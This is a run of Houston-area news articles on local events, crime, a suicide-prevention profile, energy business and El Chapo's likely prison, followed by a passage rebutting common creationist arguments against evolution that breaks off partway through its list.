Im honest with people. I have a wonderful life, but its not perfect. Its easy to hide behind a computer and try to make life look perfect, but nobodys life is perfect. Awareness is a huge thing, Barnes said.

Related: Montgomery County justice of the peace calls for more suicide prevention, education as rates rise

Later on in Barnes life, she worked as an office manager for Elizabeth Felthous, a licensed professional counselor who owns a private practice in Conroe.

Felthous said she saw Barnes use her story as a catalyst for empathy.

Whenever you personally have experienced depression or mental health, you have a lot more empathy for those who are struggling, Felthous said. She added that making suicide a safe topic of conversation is important in todays society.

The thing Barnes wants people to know, above all, is that their lives matter.

You are important to someone. Someone will miss you; someone cares about you. No matter what kind of trouble youre in, your life is important, Barnes said.

jane.stueckemann@chron.comEarly next month, community members in The Woodlands will have the chance to view works by renowned artists like Salvador Dali, Pablo Picasso and Joan Miro  not at a museum, though. At an art auction.

Congregation Beth Shalom of The Woodlands, one of two synagogues in the area, is bringing back their art auction fundraiser, this time to feed the hungry in the community. Vickie Strong is the auctions chairperson.

We had several art auctions a while agobut I thought we should do it again. We have a lot of new families and the growth in The Woodlands is phenomenal, Strong said.

Each year, the congregation adopts an initiative to focus their activities on, tying in the theme at events for both children and adults. Since their focus is fighting hunger this year, a portion of the proceeds from the auction will be donated to the Montgomery County Food Bank. Their hope is to raise at least $50,000.

In addition to the artwork by Dali, Picasso and Miro, there are to be auction pieces by artists such as Marc Chagall, Leroy Neiman, David Schluss and Peter Max. Jewelry and travel packages  to places like Italy or Lake Tahoe  are also available to bid on.

The synagogue is bringing in auctioneer and entertainer Janice Hamilton to run the show.

We look for pieces that have some value to them, and of course people look for specific pieces thatll look good with the decor of their homes, Strong said.

Terri Larson, the communications chair for the event, said that many people will look for unique pieces by Jewish artists.

The auction is taking place March 2 at the synagogue along Shadowbend place. Preview of the auction items is to begin at 6 p.m. and the bidding will start at 7 p.m. Tickets, which are $35 per person and include complimentary wine, beer and hors doeuvres, can be purchased here.

jane.stueckemann@chron.comBefore the Houston Livestock Show & Rodeo kicks off later this month, the 65th annual trail ride will be coming through Tomball Feb. 19 on horses and wagons.

The Sam Houston Trail Riders will be among some 3,000 horse riders that will be riding toward Houston for the upcoming rodeo that will be hosted from Monday, Feb. 25 until Sunday, March 17.Snakes are actively slithering in Houston thanks to warmer temperatures. Although the nice weather is great for getting outdoors, it also stirs local wildlife. On Monday, local TV news station KHOU reported a copperhead sighting near a bayou in Cinco Ranch.

While Texas is home to more than 115 different species and subspecies of snakes, only 15 of those are potentially dangerous to humans, including venomous copperheads, coral snakes, cottonmouths (water moccasins) and several types of rattlesnakes, according to Texas Parks & Wildlife.

"Houston is home to a large number of snake species," Houston Zoo snake expert Stan Mays told KHOU. "The best thing to do when you see one is to leave it alone."

Texas wildlife: See proposals for 2019-20 hunting seasons

As a precaution, Texas Parks and Wildlife (TPWD) officials advise Texas residents to learn to recognize the snake species in their area.

As well, you should keep the lawn around your home trimmed low, wear shoes while outside, and avoid rocks, holes and crevices that you can't look into or behind. For the TPWD's complete guide, click here.

If bitten, go to the hospital instead of trying a home remedy, and do not use an extraction device to remove the venom.

"Don't use a tourniquet, don't tie a string off, don't try to cut and suck. The best thing you can do is get to an appropriate facility," director of medical toxicology at Baylor College of Medicine and Ben Taub Hospital Dr. Spencer Greene told KHOU.

For those afraid of snakes, take some solace in that they not only play a key role in the balance of nature but will usually slither away unless they feel threatened.

Marcy de Luna is a digital reporter specializing in social media, the famous, and food. You can follow her on Twitter @MarcydeLuna and Facebook @MarcydeLuna. Read her stories on our breaking news site, Chron.com, and on our subscriber site, HoustonChronicle.com. | Marcy.deLuna@chron.com | Text CHRON to 77453 to receive breaking news alerts by text messageA dead body was found this morning at a construction site near the Texas Medical Center and foul play is suspected, Houston police said.

Detectives are at the site, 6411 Fannin, which is also near the Houston Zoo.Montgomery City Council narrowed its search for a new police chief to five candidates, City Administrator Jack Yates confirmed Tuesday night.

The intention is to interview within the next two weeks, said Yates, who anticipates the announcement will be made in about six weeks. After that, it will be up to the council about how the interviews go and who they want to have a second interview with.

Yates said he, along with two local citizens with lengthy law enforcement backgrounds, assisted in the review of the total of 42 applications for the position that became available following the administrative leave and retirement of the citys former Police Chief Jim Napolitano. The police department is currently under the command of Lt. Joe Belmares.

While specific information could not yet be released about the applicants, Yates confirmed in a previous interview that most of the applicants have 10 years or more experience with most having the state of Texas Commission on Law Enforcement Master of Law Enforcement certifications, and several who have served in Montgomery County. City officials could not release information at this time as to whether or not the interim police chief or any current employees of the department have expressed an interest in the position or applied.

Any of the five, at least based upon the resume, could perform the function of police chief, Yates said previously.

City administrator contract

While the council did not take action regarding the police chief search following the closed session, it did unanimously voted to create a proposed contract for the city administrator, who is planning to retire due to health-related reasons, for a period up to seven months as previously discussed.

I think it will work out for the best interest of both of us and the city administrator search will be much like the search for the police chief, as far as that process goes.

Yates expects to advertise for the city administrator position within the next couple of weeks. Over the next few months, he said his goal is to wrap up as much as possible.

mellsworth@hcnonline.comAfter attending the community engagement meeting at the Memorial Hills Community Improvement Association, Janet Sorensen left disappointed with the information presented. She said she expected more information about flood prevention on Cypress Creek after her home flooded with more than nine inches of water during Hurricane Harvey.

She said she wanted to hear a plan for the local watershed, not the promise of a plan.

All this stuff is great, Im glad its getting done, but the real problem is Cypress Creek, she said. I just want to know if this flood came next year, what happens with Cypress Creek? Are we going to flood again? Are we going to have to go through this again?.

The community surrounding the Cypress Creek watershed gathered at the Memorial Hills Community Improvement Association to receive information on future flood mitigation projects and provide advice for the county professionals forming the plans. Many attendees voiced disdain for the meeting throughout.

On Feb. 12, the Harris County Engineering Department, alongside Harris County Flood Control District, presented its findings and plans for the Memorial Hills project in the Cypress Creek watershed during a community engagement meeting.

Improvements to flood prevention in the subdivision include improving internal drainage systems by installing wider underground storm sewer systems, stormwater detention basins and roadside ditches. All projects are currently in the planning and study phase, according to officials attending the event.

Currently within (Memorial Hills), there is a capital improvement project thats taking place to do some erosion repair to the south all the way back to Cypress Creek, Marcus Stuckett, director of engineering with HCED, said. As part of the bond project, we have a major desilt within the Cypress Creek watershed.

Lonnie Anderson gave a presentation on the project details, including the intent to reduce flooding by up to a foot. The Memorial Hills project will reduce the flooding from a storm with a one percent chance of occurring, similar to Hurricane Harvey but will not prevent flooding from Cypress Creek.

Brennan Cook, project delivery manager for HCED, said it is important for the meetings to take place because HCFCD needs to receive input only community members who live in the area can provide.

Were very early on in the stages of study for your subdivision so were asking for your input, what you experienced, so we make sure we get it right before we move further, he said. We are paired with the (Harris County) Flood Control District to bring you these projects.

Local residents provided feedback to the officials, including how disappointed they were in the open format of the meeting and how they expected more information on stopping flooding from Cypress Creek.

ommunity member Maxine Gloyd said she attended the meeting to learn more about potential projects. She said the meeting was initially confusing, but ultimately left with her questions answered.

When we get to hear other peoples questions, it generates other questions, she said. Im a little disappointed with that, but Im willing to try.

The flood control district will conduct more community engagement meetings throughout the year together more data and present their findings to local areas. The next meeting addressing the northwest Houston area will take place on Feb. 26 at Cypress Exhibit Center, 11206 Telge Road, Cypress. The meeting will be for the Roland Road project and related infrastructure in the Addicks Reservoir watershed, according to the flood control district website.

chevall.pryce@chron.comTravis Scott fans in Tulsa, Oklahoma, set to attend the Houston-born rapper's sold-out performance at BOK Center concert venue on Monday, were not thrilled when the concert was abruptly postponed.

The announcement came at approximately 6:10 p.m. CST via a tweet by BOK Center that reads:

"Due to technical production issues, tonight's sold out Travis Scott show in Tulsa will be moved to March 26th. All tickets purchased for tonight's show will be honored at the rescheduled show on March 26th."

RELATED: Kylie Jenner, Travis Scott paint the town red at Clive Davis' Pre-Grammy Gala

A little over an hour later, Scott tweeted an apology to his fans, also citing technical production issues as the reason for the Monday night's canceled show.

The social media posts, along with a marquee outside of BOK Center that flashed "postponed," notified ticket holders, many of whom were already lined up outside the venue, of the situation.

The news did not go over well, as the crowd began chanting "Let us in!" KTRK reported.

A video (see above) shared by Twitter user aaron.wav, shows one fan throwing a water bottle at the venue's door, cracking the glass.

Another fan opened a door at BOK Center after realizing it was unlocked, resulting in the masses rushing the entrance and Tulsa police shooting pepper balls into the crowd, Fox23 reported.

Aaron.wav told KTRK that people were so upset because some drove for hours to attend Scott's concert, with some even flying in from out of state.

The chaos ensued for hours as some fans refused to leave, KTRK reported.

FOR HOUSTONCHRONICLE.COM SUBSCRIBERS: Houston's Robert Ellis trades his guitar for a piano

Let's hope for a better outcome at Scott's forthcoming Houston show, scheduled for Wednesday night at downtown's Toyota Center.

Marcy de Luna is a digital reporter specializing in social media, the famous, and food. You can follow her on Twitter @MarcydeLuna and Facebook @MarcydeLuna. Read her stories on our breaking news site, Chron.com, and on our subscriber site, HoustonChronicle.com. | Marcy.deLuna@chron.com | Text CHRON to 77453 to receive breaking news alerts by text messageTwo members of a "violent crew" of suspected armed robbers who targeted Houston area pharmacies were killed late Tuesday in a gunfight with authorities near a Walgreens in Cinco Ranch that was just robbed, officials said.

The shooting happened at 11 p.m. during a joint investigation by the Harris County Sheriff's Office and the Texas Department of Public Safety. Investigators had been watching a white pickup with four suspects inside just before the group robbed the Walgreens store at 22202 Westheimer Pkwy., authorities said. The same pickup was used in some of the previous robberies.

Authorities said three suspects went inside the store while one waited outside. After the robbery, they got in the truck and led investigators on a short chase to an apartment near the intersection of South Mason and Westheimer. There, robbers fired at pursuing officers, who exchanged gunfire.

OPINION: Solutions to gun violence from an NRA lifer. Join the conversation at HoustonChronicle.com.

One suspect was shot and died at the scene. Another succumbed to his gunshot wounds later at a hospital.

No officers were shot, but one suffered minor cuts from broken glass. Two other suspects, both 21, were arrested and booked into the Fort Bend County Jail.

"This has been a violent crew that's been on a bit of a crime spree for the last two weeks or so," Gonzalez said during a late-night press briefing, adding that they were connected to at least 12 robberies in Harris and Fort Bend counties.

"It was our belief they were just going to continue to do this," he said.

Gonzalez said only DPS troopers fired their weapons in the exchange not his deputies.

The Texas Rangers, who are leading the investigation, declined to release the names of the two deceased suspects and the two suspects in custody.

Texas DPS Sgt. Stephen Woodard, a spokesman for the agency, said they are waiting for the medical examiner to notify the deceased suspects' next of kin. They're withholding the names of the other two suspects because one of them is "possibly" related to a deceased suspect, Woodard said.

The suspects' ages range from 19 to 21 years old, said Harris County Sheriff's Office spokesman Thomas Gilliland.

The group was suspected in 12 robberies over the last two weeks in Harris County alone, he said. He said those robberies all took place at a Walgreens or CVS pharmacy, mostly between 9 and 11 p.m. They were also suspected in a daytime robbery Thursday at a Walgreens in the 13100 block of Cypress North Houston at Huffmeister, Gilliland said.

He said the group only made off with cash, not drugs from the pharmacy. But Gonzalez said the group was "becoming more brazen."

"Sometimes, they made off with quite a bit of money," Gonzalez said.

On Tuesday night in Cinco Ranch, investigators weren't expecting another robbery as they watched the suspects' white pickup, which was used in other holdups, according to DPS regional director Jason Taylor.

"We didn't have any information that another robbery was going to go down," Taylor said.

He said multiple weapons were recovered from the scene, and no bystanders were injured.

NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here.Two pipeline companies have entered into a joint venture that will move more natural gas from the Eagle Ford Shale of South Texas to the Agua Dulce hub and Mexico.

San Antonio pipeline operator Howard Energy Partners and Florida-based NextEra Energy Partners announced the joint venture on Wednesday morning.

The two companies own separate natural gas pipeline networks in South Texas but the joint venture will them to market and book capacity on those networks together.

Midstream Moves: U.S. natural gas exports to Mexico hit new record

Under the joint venture, the companies have also pledged to explore new pipeline opportunities in Webb, Duval, Zapata, Dimmit, La Salle, McMullen, Live Oak and Jim Wells counties.

"The synergies between HEP's and NextEra Energy Partners' Eagle Ford assets provide for a compelling footprint, and we are excited about the potential for this joint venture," Howard Energy Partners CEO Mike Howard said in a statement.

Both companies are coming to the table with impressive assets that will be able to boost natural gas exports.

Howard Energy Partners owns a network of gathering pipelines in the natural gas-rich western end of the Eagle Ford Shale. The company also owns Nueva Era Pipeline, which can move up to 2.6 billion cubic feet of natural gas per day from Laredo to Monterrey, Mexico.

NextEra's owns the Eagle Ford Midstream pipeline network, which moves natural gas from the western end of the Eagle Ford to the Agua Dulce natural gas hub.

Growth Market: Border congressmen seek to boost natural gas exports to Mexico

Once at the Agua Dulce hub, natural gas can be shipped on interstate pipelines, to Cheniere Energy's new liquefied natural gas export terminal in Corpus Christi or destination in Mexico.

NextEra's NET Mexico Pipeline moves natural gas from the Agua Dulce hub to Rio Grande City where crosses the border into Mexico.

"While requiring minimal capital investment, this agreement is expected to increase capacity utilization on NEP's EFM system and improve gross margins by giving NEP access to additional producer volumes in an active Eagle Ford region," NextEra Energy Partners President Armando Pimentel said in a statement. "Since the joint venture is based on future commitments on NEP's EFM and HEP's EFG assets, existing contracts and revenue streams will not be impacted."Seven people were charged felonies related to sex crimes during the month of January, according to records obtained through a request made by the Houston Chronicle.

Charges include sexual assault of a child, indecency with a child and failing to comply with sex offender registry requirements.Now that notorious drug lord Joaquin "El Chapo" Guzman was officially sentenced to life in prison (plus 30 years), let's take a look at who he could be serving hard time with inside the "Supermax" federal prison.

Experts speculate Guzman is destined for the infamous federal prison south of Denver in Florence, Colorado, according to the Associated Press.

Guzman was sentenced to life in prison Wednesday for drug trafficking after a lifelong career. The leader of the Sinaloa drug cartel has an unparalleled record of jailbreaks, having escaped two high-security Mexican prisons before his ultimate capture and extradition to the United States.

The prison in question is nicknamed ADX for "administrative maximum." The facility is so secure and remote that it has been called the "Alcatraz of the Rockies."

LAVISH LIFE STYLE: As cartel kingpin sits in jail, wife throws daughter a glitzy party

Cameron Lindsay, a retired federal prison warden, previously told the Associated Press that she believes El Chapo is going to be sent to the prison.

El Chapo has a history of escapes from prison. No one has ever escaped The ADX in Colorado, thanks to its heightened security, according to Euronews.

Click through our slideshow to see some of the notorious inmates currently housed at the ADX in the gallery above.

Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com | Text CHRON to 77453 to receive breaking news alerts by text messageWhen Charles Darwin introduced the theory of evolution through natural selection 158 years ago, the scientists of the day argued over it fiercely, but the massing evidence from paleontology, genetics, zoology, molecular biology and other fields gradually established evolution's truth beyond reasonable doubt. Today that battle has been won everywhereexcept in the public imagination. Embarrassingly, in the 21st century, in the most scientifically advanced nation the world has ever known, creationists can still persuade politicians, judges and ordinary citizens that evolution is a flawed, poorly supported fantasy. They lobby for creationist ideas such as intelligent design to be taught as alternatives to evolution in science classrooms. When this article first went to press in 2002, the Ohio Board of Education was debating whether to mandate such a change. Prominent antievolutionists of the day, such as Philip E. Johnson, a law professor at the University of California, Berkeley, and author of Darwin on Trial, admitted that they intended for intelligent-design theory to serve as a wedge for reopening science classrooms to discussions of God.

The good news is that in 2005 the landmark legal case Kitzmiller v. Dover in Harrisburg, Pa., set binding precedent that the teaching of intelligent design in U.S. public schools is unconstitutional because the idea is fundamentally religious, not scientific. The bad news is that in response, creationists have reinvented their movement and pressed on. When they lost the ability to claim that creationist ideas are valid science, they switched to arguing that they were only supporting academic freedom. Worse, to further obscure the religious roots of their resistance, they now push for critical analysis of climate change, cloning research and other scientific endeavors that they paint as culturally oppressive.

Featured eBook Controversy Explained 5.99 View Details

Consequently, besieged teachers and others are still likely to find themselves on the spot to defend evolution and refute creationism, by whatever name. Creationists' arguments are typically specious and based on misunderstandings of (or outright lies about) evolution. Nevertheless, even if their objections are flimsy, the number and diversity of the objections can put even well-informed people at a disadvantage. The following list recaps and rebuts some of the most common scientific arguments raised against evolution. It also directs readers to further sources for information and explains why creation science has no place in the classroom. These answers by themselves probably will not change the minds of those set against evolution. But they may help inform those who are genuinely open to argument, and they can aid anyone who wants to engage constructively in this important struggle for the scientific integrity of our civilization.

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Galapagos finches show adaptive beak shapes. Credit: Patricia J. Wynne

1. Evolution is only a theory. It is not a fact or a scientific law.

Many people learned in elementary school that a theory falls in the middle of a hierarchy of certaintyabove a mere hypothesis but below a law. Scientists do not use the terms that way, however. According to the National Academy of Sciences (NAS), a scientific theory is a well-substantiated explanation of some aspect of the natural world that can incorporate facts, laws, inferences, and tested hypotheses. No amount of validation changes a theory into a law, which is a descriptive generalization about nature. So when scientists talk about the theory of evolutionor the atomic theory or the theory of relativity, for that matterthey are not expressing reservations about its truth.

In addition to the theory of evolution, meaning the idea of descent with modification, one may also speak of the fact of evolution. The NAS defines a fact as an observation that has been repeatedly confirmed and for all practical purposes is accepted as true. The fossil record and abundant other evidence testify that organisms have evolved through time. Although no one observed those transformations, the indirect evidence is clear, unambiguous and compelling.

All sciences frequently rely on indirect evidence. Physicists cannot see subatomic particles directly, for instance, so they verify their existence by watching for telltale tracks that the particles leave in cloud chambers. The absence of direct observation does not make physicists' conclusions less certain.

2. Natural selection is based on circular reasoning: the fittest are those who survive, and those who survive are deemed fittest.

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Survival of the fittest is a conversational way to describe natural selection, but a more technical description speaks of differential rates of survival and reproduction. That is, rather than labeling species as more or less fit, one can describe how many offspring they are likely to leave under given circumstances. Drop a fast-breeding pair of small-beaked finches and a slower-breeding pair of large-beaked finches onto an island full of food seeds. Within a few generations the fast breeders may control more of the food resources. Yet if large beaks more easily crush seeds, the advantage may tip to the slow breeders. In pioneering studies of finches on the Galpagos Islands, Peter Grant and Rosemary Grant of Princeton University observed these kinds of population shifts in the wild.

The key is that adaptive fitness can be defined without reference to survival: large beaks are better adapted for crushing seeds, irrespective of whether that trait has survival value under the circumstances.

3. Evolution is unscientific because it is not testable or falsifiable. It makes claims about events that were not observed and can never be re-created.

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This blanket dismissal of evolution ignores important distinctions that divide the field into at least two broad areas: microevolution and macroevolution. Microevolution looks at changes within species over timechanges that may be preludes to speciation, the origin of new species. Macroevolution studies how taxonomic groups above the level of species change. Its evidence draws frequently from the fossil record and DNA comparisons to reconstruct how various organisms may be related.

These days even most creationists acknowledge that microevolution has been upheld by tests in the laboratory (as in studies of cells, plants and fruit flies) and in the field (as in the Grants' studies of evolving beak shapes among Galpagos finches). Natural selection and other mechanismssuch as chromosomal changes, symbiosis and hybridizationcan drive profound changes in populations over time.

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The historical nature of macroevolutionary study involves inference from fossils and DNA rather than direct observation. Yet in the historical sciences (which include astronomy, geology and archaeology, as well as evolutionary biology), hypotheses can still be tested by checking whether they accord with physical evidence and whether they lead to verifiable predictions about future discoveries. For instance, evolution implies that between the earliest known ancestors of humans (roughly five million years old) and the appearance of anatomically modern humans (about 200,000 years ago), one should find a succession of hominin creatures with features progressively less apelike and more modern, which is indeed what the fossil record shows. But one should notand does notfind modern human fossils embedded in strata from the Jurassic period (65 million years ago). Evolutionary biology routinely makes predictions far more refined and precise than this, and researchers test them constantly.

Evolution could be disproved in other ways, too. If we could document the spontaneous generation of just one complex life-form from inanimate matter, then at least a few creatures seen in the fossil record might have originated this way. If superintelligent aliens appeared and claimed credit for creating life on Earth (or even particular species), the purely evolutionary explanation would be cast in doubt. But no one has yet produced such evidence.

New species evolve by diverging away from established ones and acquire sufficient differences to remain forever distinct. Credit: Science Picture Company Getty Images

It should be noted that the idea of falsifiability as the defining characteristic of science originated with philosopher Karl Popper in the 1930s. More recent elaborations on his thinking have expanded the narrowest interpretation of his principle precisely because it would eliminate too many branches of clearly scientific endeavor.

4. Increasingly, scientists doubt the truth of evolution.

No evidence suggests that evolution is losing adherents. Pick up any issue of a peer-reviewed biological journal, and you will find articles that support and extend evolutionary studies or that embrace evolution as a fundamental concept.

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Conversely, serious scientific publications disputing evolution are all but nonexistent. In the mid-1990s George W. Gilchrist, then at the University of Washington, surveyed thousands of journals in the primary literature, seeking articles on intelligent design or creation science. Among those hundreds of thousands of scientific reports, he found none. Surveys done independently by Barbara Forrest of Southeastern Louisiana University and Lawrence M. Krauss, now at Arizona State University, were similarly fruitless.

Creationists retort that a closed-minded scientific community rejects their evidence. Yet according to the editors of Nature, Science and other leading journals, few antievolution manuscripts are even submitted. Some antievolution authors have published papers in serious journals. Those papers, however, rarely attack evolution directly or advance creationist arguments; at best, they identify certain evolutionary problems as unsolved and difficult (which no one disputes). In short, creationists are not giving the scientific world good reason to take them seriously.

5. The disagreements among even evolutionary biologists show how little solid science supports evolution.

Evolutionary biologists passionately debate diverse topics: how speciation happens, the rates of evolutionary change, the ancestral relationships of birds and dinosaurs, whether Neandertals were a species apart from modern humans, and much more. These disputes are like those found in all other branches of science. Acceptance of evolution as a factual occurrence and a guiding principle is nonetheless universal in biology.

Unfortunately, dishonest creationists have shown a willingness to take scientists' comments out of context to exaggerate and distort the disagreements. Anyone acquainted with the works of paleontologist Stephen Jay Gould of Harvard University knows that in addition to co-authoring the punctuated-equilibrium model, Gould was one of the most eloquent defenders and articulators of evolution. (Punctuated equilibrium explains patterns in the fossil record by suggesting that most evolutionary changes occur within geologically brief intervalswhich may nonetheless amount to hundreds of generations.) Yet creationists delight in dissecting out phrases from Gould's voluminous prose to make him sound as though he had doubted evolution, and they present punctuated equilibrium as though it allows new species to materialize overnight or birds to be born from reptile eggs.

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Fossil record shows a succession of hominins, with features becoming progressively less apelike and more modern. Credit: E. R. Degginer Science Source

When confronted with a quotation from a scientific authority that seems to question evolution, insist on seeing the statement in context. Almost invariably, the attack on evolution will prove illusory.

6. If humans descended from monkeys, why are there still monkeys?

This surprisingly common argument reflects several levels of ignorance about evolution. The first mistake is that evolution does not teach that humans descended from monkeys; it states that both have a common ancestor.

The deeper error is that this objection is tantamount to asking, If children descended from adults, why are there still adults? New species evolve by splintering off from established ones, when populations of organisms become isolated from the main branch of their family and acquire sufficient differences to remain forever distinct. The parent species may survive indefinitely thereafter, or it may become extinct.

7. Evolution cannot explain how life first appeared on Earth.

The origin of life remains very much a mystery, but biochemists have learned about how primitive nucleic acids, amino acids and other building blocks of life could have formed and organized themselves into self-replicating, self-sustaining units, laying the foundation for cellular biochemistry. Astrochemical analyses hint that quantities of these compounds might have originated in space and fallen to Earth in comets, a scenario that may solve the problem of how those constituents arose under the conditions that prevailed when our planet was young.

Creationists sometimes try to invalidate all of evolution by pointing to science's current inability to explain the origin of life. But even if life on Earth turned out to have a nonevolutionary origin (for instance, if aliens introduced the first cells billions of years ago), evolution since then would be robustly confirmed by countless microevolutionary and macroevolutionary studies.

8. Mathematically, it is inconceivable that anything as complex as a protein, let alone a living cell or a human, could spring up by chance.

Chance plays a part in evolution (for example, in the random mutations that can give rise to new traits), but evolution does not depend on chance to create organisms, proteins or other entities. Quite the opposite: natural selection, the principal known mechanism of evolution, harnesses nonrandom change by preserving desirable (adaptive) features and eliminating undesirable (nonadaptive) ones. As long as the forces of selection stay constant, natural selection can push evolution in one direction and produce sophisticated structures in surprisingly short times.

As an analogy, consider the 13-letter sequence TOBEORNOTTOBE. A million hypothetical monkeys, each typing out one phrase a second on a keyboard, could take as long as 78,800 years to find it among the 2613 sequences of that length. But in the 1980s Richard Hardison, then at Glendale College, wrote a computer program that generated phrases randomly while preserving the positions of individual letters that happened to be correctly placed (in effect, selecting for phrases more like Hamlet's). On average, the program re-created the phrase in just 336 iterations, less than 90 seconds. Even more amazing, it could reconstruct Shakespeare's entire play in just four and a half days.

9. The Second Law of Thermodynamics says that systems must become more disordered over time. Living cells therefore could not have evolved from inanimate chemicals, and multicellular life could not have evolved from protozoa.

This argument derives from a misunderstanding of the Second Law. If it were valid, mineral crystals and snowflakes would also be impossible, because they, too, are complex structures that form spontaneously from disordered parts.

The Second Law actually states that the total entropy of a closed system (one that no energy or matter leaves or enters) cannot decrease. Entropy is a physical concept often casually described as disorder, but it differs significantly from the conversational use of the word.

More important, however, the Second Law permits parts of a system to decrease in entropy as long as other parts experience an offsetting increase. Thus, our planet as a whole can grow more complex because the sun pours heat and light onto it, and the greater entropy associated with the sun's nuclear fusion more than rebalances the scales. Simple organisms can fuel their rise toward complexity by consuming other forms of life and nonliving materials.

10. Mutations are essential to evolution theory, but mutations can only eliminate traits. They cannot produce new features.

On the contrary, biology has catalogued many traits produced by point mutations (changes at precise positions in an organism's DNA)bacterial resistance to antibiotics, for example.

Mutations that arise in the homeobox (Hox) family of development-regulating genes in animals can also have complex effects. Hox genes direct where legs, wings, antennae and body segments should grow. In fruit flies, for instance, the mutation called Antennapedia causes legs to sprout where antennae should grow. These abnormal limbs are not functional, but their existence demonstrates that genetic mistakes can produce complex structures, which natural selection can then test for possible uses.

Moreover, molecular biology has discovered mechanisms for genetic change that go beyond point mutations, and these expand the ways in which new traits can appear. Functional modules within genes can be spliced together in novel ways. Whole genes can be accidentally duplicated in an organism's DNA, and the duplicates are free to mutate into genes for new, complex features. Comparisons of the DNA from a wide variety of organisms indicate that this is how the globin family of blood proteins evolved over millions of years.

11. Natural selection might explain microevolution, but it cannot explain the origin of new species and higher orders of life.

Evolutionary biologists have written extensively about how natural selection could produce new species. For instance, in the model called allopatry, developed by Ernst Mayr of Harvard University, if a population of organisms were isolated from the rest of its species by geographical boundaries, it might be subjected to different selective pressures. Changes would accumulate in the isolated population. If those changes became so significant that the splinter group could not or routinely would not breed with the original stock, then the splinter group would be reproductively isolated and on its way toward becoming a new species.

Natural selection is the best studied of the evolutionary mechanisms, but biologists are open to other possibilities as well. Biologists are constantly assessing the potential of unusual genetic mechanisms for causing speciation or for producing complex features in organisms. Lynn Margulis of the University of Massachusetts Amherst and others have persuasively argued that some cellular organelles, such as the energy-generating mitochondria, evolved through the symbiotic merger of ancient organisms. Thus, science welcomes the possibility of evolution resulting from forces beyond natural selection. Yet those forces must be natural; they cannot be attributed to the actions of mysterious creative intelligences whose existence, in scientific terms, is unproved.

12. Nobody has ever seen a new species evolve.

Speciation is probably fairly rare and in many cases might take centuries. Furthermore, recognizing a new species during a formative stage can be difficult because biologists sometimes disagree about how best to define a species. The most widely used definition, Mayr's Biological Species Concept, recognizes a species as a distinct community of reproductively isolated populationssets of organisms that normally do not or cannot breed outside their community. In practice, this standard can be difficult to apply to organisms isolated by distance or terrain or to plants (and, of course, fossils do not breed). Biologists therefore usually use organisms' physical and behavioral traits as clues to their species membership.

Nevertheless, the scientific literature does contain reports of apparent speciation events in plants, insects and worms. In most of these experiments, researchers subjected organisms to various types of selectionfor anatomical differences, mating behaviors, habitat preferences and other traitsand found that they had created populations of organisms that did not breed with outsiders. For example, William R. Rice of the University of New Mexico and George W. Salt of the University of California, Davis, demonstrated that if they sorted a group of fruit flies by their preference for certain environments and bred those flies separately over 35 generations, the resulting flies would refuse to breed with those from a very different environment.

13. Evolutionists cannot point to any transitional fossilscreatures that are half reptile and half bird, for instance.

Actually, paleontologists know of many detailed examples of fossils intermediate in form between various taxonomic groups. One of the most famous fossils of all time is Archaeopteryx, which combines feathers and skeletal structures peculiar to birds with features of dinosaurs. A flock's worth of other feathered fossil species, some more avian and some less, has also been found. A sequence of fossils spans the evolution of modern horses from the tiny Eohippus. An amazing fossil creature from 375 million years ago named Tiktaalik embodies the predicted and long-sought transition of certain fishes to life on land. Whales had four-legged ancestors that walked on land, and creatures known as Ambulocetus and Rodhocetus helped to make that transition. Fossil seashells trace the evolution of various mollusks through millions of years. Perhaps 20 or more hominins (not all of them our ancestors) fill the gap between Lucy the australopithecine and modern humans.

Creationists, though, dismiss these fossil studies. They argue that Archaeopteryx is not a missing link between reptiles and birdsit is just an extinct bird with reptilian features. They want evolutionists to produce a weird, chimeric monster that cannot be classified as belonging to any known group. Even if a creationist does accept a fossil as transitional between two species, he or she may then insist on seeing other fossils intermediate between it and the first two. These frustrating requests can proceed ad infinitum and place an unreasonable burden on the always incomplete fossil record.

Nevertheless, evolutionists can cite further supportive evidence from molecular biology. All organisms share most of the same genes, but as evolution predicts, the structures of these genes and their products diverge among species, in keeping with their evolutionary relationships. Geneticists speak of the molecular clock that records the passage of time. These molecular data also show how various organisms are transitional within evolution.

14. Living things have fantastically intricate featuresat the anatomical, cellular and molecular levelsthat could not function if they were any less complex or sophisticated. The only prudent conclusion is that they are the products of intelligent design, not evolution.

This argument from design is the backbone of most recent attacks on evolution, but it is also one of the oldest. In 1802 theologian William Paley wrote that if one finds a pocket watch in a field, the most reasonable conclusion is that someone dropped it, not that natural forces created it there. By analogy, Paley argued, the complex structures of living things must be the handiwork of direct, divine invention. Darwin wrote On the Origin of Species as an answer to Paley: he explained how natural forces of selection, acting on inherited features, could gradually shape the evolution of ornate organic structures.

Generations of creationists have tried to counter Darwin by citing the example of the eye as a structure that could not have evolved. The eye's ability to provide vision depends on the perfect arrangement of its parts, these critics say. Natural selection could thus never favor the transitional forms needed during the eye's evolutionwhat good is half an eye? Anticipating this criticism, Darwin suggested that even incomplete eyes might confer benefits (such as helping creatures orient toward light) and thereby survive for further evolutionary refinement. Biology has vindicated Darwin: researchers have identified primitive eyes and light-sensing organs throughout the animal kingdom and have even tracked the evolutionary history of eyes through comparative genetics. (It now appears that in various families of organisms, eyes have evolved independently.)

Today's intelligent-design advocates are more sophisticated than their predecessors, but their arguments and goals are not fundamentally different. They criticize evolution by trying to demonstrate that it could not account for life as we know it and then insist that the only tenable alternative is that life was designed by an unidentified intelligence.

15. Recent discoveries prove that even at the microscopic level, life has a quality of complexity that could not have come about through evolution.

Irreducible complexity is the battle cry of Michael J. Behe of Lehigh University, author of Darwin's Black Box: The Biochemical Challenge to Evolution. As a household example of irreducible complexity, Behe chooses the mousetrapa machine that could not function if any of its pieces were missing and whose pieces have no value except as parts of the whole. What is true of the mousetrap, he says, is even truer of the bacterial flagellum, a whiplike cellular organelle used for propulsion that operates like an outboard motor. The proteins that make up a flagellum are uncannily arranged into motor components, a universal joint and other structures like those that a human engineer might specify. The possibility that this intricate array could have arisen through evolutionary modification is virtually nil, Behe argues, and that bespeaks intelligent design. He makes similar points about the blood's clotting mechanism and other molecular systems.

